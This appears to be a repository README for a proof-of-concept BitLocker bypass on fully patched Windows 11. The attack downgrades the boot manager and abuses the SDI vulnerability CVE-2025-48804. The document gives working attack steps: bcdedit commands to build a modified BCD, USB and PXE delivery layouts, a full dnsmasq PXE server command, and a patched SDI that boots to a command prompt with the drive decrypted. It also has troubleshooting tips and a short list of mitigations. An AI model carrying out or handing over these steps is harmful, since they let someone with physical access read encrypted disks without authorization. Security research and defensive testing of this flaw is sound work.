A proof of concept for accessing BitLocker-encrypted disks in under 5 minutes on fully patched Windows 11 machines through a boot manager downgrade attack, leveraging the SDI vulnerability originally documented as CVE-2025-48804. The July 2025 patch fixes this in bootmgfw.efi, so any pre-patch bootmgfw.efi can be used for a downgrade attack, provided the target does not enforce a boot-manager version (SVN) (which comes with KB5025885).
This PoC provides two delivery methods: USB boot (simpler and recommended) and PXE boot and hints at a riskier method you could use when neither PXE nor USB is allowed.
This work builds entirely on the research by Microsoft STORM (Netanel Ben Simon and Alon Leviev):
BitUnlocker: Leveraging Windows Recovery to Extract BitLocker Secrets
- Physical access to a BitLocker-encrypted device (TPM-only - or TPM+PIN with a PIN you know, PCR 7 + 11)
- The device does not enforce SVN
Put it in USB/sdi/ (for USB method) or TFTP-root/sdi/ (for PXE method).
On the target device, open a WinRE command prompt (hold Shift while clicking Restart, then Troubleshoot > Command Prompt — click "Ignore this disk" when prompted for a BitLocker recovery key and click "relaunch" if you're also told that the cmd prompt cannot run on a locked device — and if the cmd prompt just won't open, use your own WinPE if you can). Plug in a USB stick and run:
E: (or wherever your USB is)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum allIn the output, find the device options entry whose description is "Windows Recovery" and which contains ramdisksdidevice / ramdisksdipath entries. Note its GUID, then:
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCDPlace the resulting BCD file in the appropriate location depending on your method:
- USB:
USB/EFI/Microsoft/Boot/BCD - PXE:
TFTP-root/Boot/BCD
This will be important for the next steps, so take note whether it is signed by PCA 2011 or CA 2023: we want to use a downgrade boot manager that is signed by the same CA as the target's boot manager to avoid PCR 7 mismatch and actually unlock the BitLocker-encrypted drive.
Machines freshly installed since early 2026 likely ship with a CA 2023-signed bootmgfw.efi by default. To check which CA is used, mount the EFI partition and inspect the active binary: mountvol S: /s then sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi (sigcheck is a free Sysinternals tool). Note that C:\Windows\Boot\EFI\bootmgfw.efi may differ from the file actually used at boot - always check the EFI partition copy.
If you see "Windows UEFI CA 2023", then the boot manager is signed by CA 2023. If you see "Microsoft Windows Production PCA 2011", the boot manager is signed by PCA 2011.
Format a USB stick as FAT32 and copy the contents of the USB/ directory to its root (only its content, there should not be a "USB" folder). The USB stick should look like this:
USB stick root/
├── EFI/
│ ├── Boot/
│ │ └── bootx64.efi # Pre-patch boot manager (PCA 2011)
│ │ └── bootx64_CA2023.efi # Pre-patch boot manager (CA 2023)
│ └── Microsoft/
│ └── Boot/
│ └── BCD # Your modified BCD
└── sdi/
└── boot_patched.sdi # Patched SDI with custom WinRE
Plug the USB stick into the target and trigger a UEFI USB boot — either from WinRE (Use a device) or by pressing the manufacturer's boot menu key at power-on (F12, F9, etc.). If the USB stick doesn't appear in the list of boot options, look for a "Boot from file" option in the UEFI boot menu, then navigate to EFI/Boot/bootx64.efi on the USB stick if your target has a 2011-signed boot manager, otherwise use EFI/Boot/bootx64_CA2023.efi. If you chose to boot automatically (so, not through the "Boot from file" option) and the boot manager is signed by CA2023, make sure you rename bootx64_CA2023.efi to bootx64.efi.
The TFTP-root/ directory is structured as follows:
TFTP-root/
├── bootmgfw.efi # Pre-patch boot manager (PCA 2011)
├── bootmgfw_CA2023.efi # Pre-patch boot manager (CA 2023)
├── Boot/
│ └── BCD # Your modified BCD
├── EFI/
│ └── Microsoft/
│ └── Boot/
│ └── bootmgfw.efi # Same pre-patch boot manager (PCA 2011)
│ └── bootmgfw_CA2023.efi # Same pre-patch boot manager (CA 2023)
└── sdi/
└── boot_patched.sdi # Patched SDI with custom WinRE
If your target's boot manager is signed by CA 2023, you want to rename TFTP-root/bootmgfw_CA2023.efi and TFTP-root/EFI/Microsoft/Boot/bootmgfw_CA2023.efi to TFTP-root/bootmgfw.efi and TFTP-root/EFI/Microsoft/Boot/bootmgfw.efi respectively.
Then, connect the target to your Linux machine via Ethernet and start the PXE server:
cd BitUnlocker
export INTERFACE=<your-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root
sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
--interface="$INTERFACE" \
--dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
--dhcp-boot=bootmgfw.efi \
--enable-tftp \
--tftp-root="$ABS_TFTP_ROOT" \
--log-dhcp \
--tftp-max=65464 \
--port=0Trigger PXE boot on the target — from WinRE select Use a device > IPv4 Network, or press the manufacturer's PXE boot key.
Another option is to just stage the SDI file inside the ESP or Recovery partition, since write access is provided to those from WinRE. The only limiting factor is free space, as those partitions are generally quite tight. But with the SDI file being smaller in the recent Release (~115Mb), it will likely fit. Note that you will directly be modifying the boot manager as well as the BCD of your target, so it is a bit more involved. Replacing the boot manager with a version that's not signed by the same PCA will cause PCR mismatch and therefore a BitLocker blue screen, and you will also tamper with WinRE itself, making it unable to load (and help you debug) if you mess up.
I will not give any more details, do it only if PXE and USB aren't available and if you know what you are doing. Do it at your own risk, I will not be responsible if you can't boot your PC anymore.
The boot manager will load the BCD, then start downloading boot_patched.sdi. The SDI file is large (~300 MB) so this takes a moment from USB, or several minutes over TFTP. A recovery-related message with the SDI path should appear on the target screen while it loads.
Once the transfer completes, a command prompt should appear with the OS volume decrypted and mounted (typically C: or E:). If it wasn't mounted automatically or you don't want to guess the letter, just run diskpart -> sel vol X (the one that looks like your encrypted drive) -> assign letter=C (or something else) -> (wait for a bit) -> exit -> profit
| Situation | What happens |
|---|---|
| BitLocker configured with a PIN you know | Type the PIN as usual and press Enter |
| Blue screen, no PIN | Double check that you are using the correct boot manager: if the target's boot manager is signed by PCA 2011, use the 2011-signed boot manager provided in this repo. Otherwise, use the one signed by CA 2023. |
| USB-C / Thunderbolt only | Use a USB-C drive or USB-Ethernet adapter (for PXE) |
| TFTP file not found (other than garbage Font files which we don't care about) | File names are case-sensitive — rename bootmgfw.efi to match what the target requests |
| No PXE or USB boot allowed | Stage the SDI file locally to either the Recovery or ESP partition. More involved, do it at your own risk |
I've included two scripts in scripts/:
patch_sdi.py— builds a modified SDI file from aboot.sdiand aWinRE.wimfileparse_sdi.py— parses an SDI file to validate its structure and content
The boot_patched.sdi file provided in Releases contains a modified WinRE.wim where the launch app is cmd.exe.
- TPM + PIN or TPM + key file is configured and the attacker doesn't know it
- KB5025885 is installed
- Non-default PCR policy — configurations involving PCR 0, 2, or 4 will detect the change in boot path
- Enable TPM + PIN — a pre-boot PIN prevents the TPM from unsealing the VMK without user interaction, regardless of boot path manipulation. Keep in mind however that it wouldn't stop an insider who has knowledge of the PIN.
- Apply KB5025885 to prevent downgrade attacks altogether
Microsoft STORM (Netanel Ben Simon and Alon Leviev) for the original BitUnlocker research and vulnerability disclosure.
This project is licensed under the MIT License. See the LICENSE file for details.
This repository and all its contents are provided strictly for authorized security testing and research purposes. Only use this tool on systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for any misuse or damage resulting from the use of this material.